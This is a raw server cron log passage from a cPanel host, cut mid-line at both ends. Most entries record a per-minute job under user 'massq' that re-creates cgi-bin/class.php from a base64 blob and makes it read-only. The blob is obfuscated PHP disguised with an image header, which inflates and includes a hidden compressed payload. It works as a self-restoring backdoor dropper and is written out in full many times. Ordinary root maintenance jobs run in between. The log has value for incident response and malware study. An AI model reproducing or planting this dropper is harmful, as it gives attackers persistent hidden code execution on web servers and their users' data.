"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:04:01 server CROND[8106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:05:01 server CROND[8313]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 08:05:01 server CROND[8314]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 08:05:01 server CROND[8315]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 08:05:01 server CROND[8316]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 12 08:05:01 server CROND[8319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:06:01 server CROND[8436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:07:01 server CROND[8515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:08:01 server CROND[8559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:09:01 server CROND[8612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:09:01 server CROND[8613]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 08:10:01 server CROND[8757]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 08:10:01 server CROND[8758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:10:01 server CROND[8759]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 08:10:01 server CROND[8760]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 08:11:01 server CROND[8861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:12:01 server CROND[8915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:12:01 server CROND[8916]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 08:13:01 server CROND[8980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:14:01 server CROND[9078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:15:01 server CROND[9121]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 08:15:01 server CROND[9122]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 12 08:15:01 server CROND[9123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:15:01 server CROND[9124]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 08:16:01 server CROND[9345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUo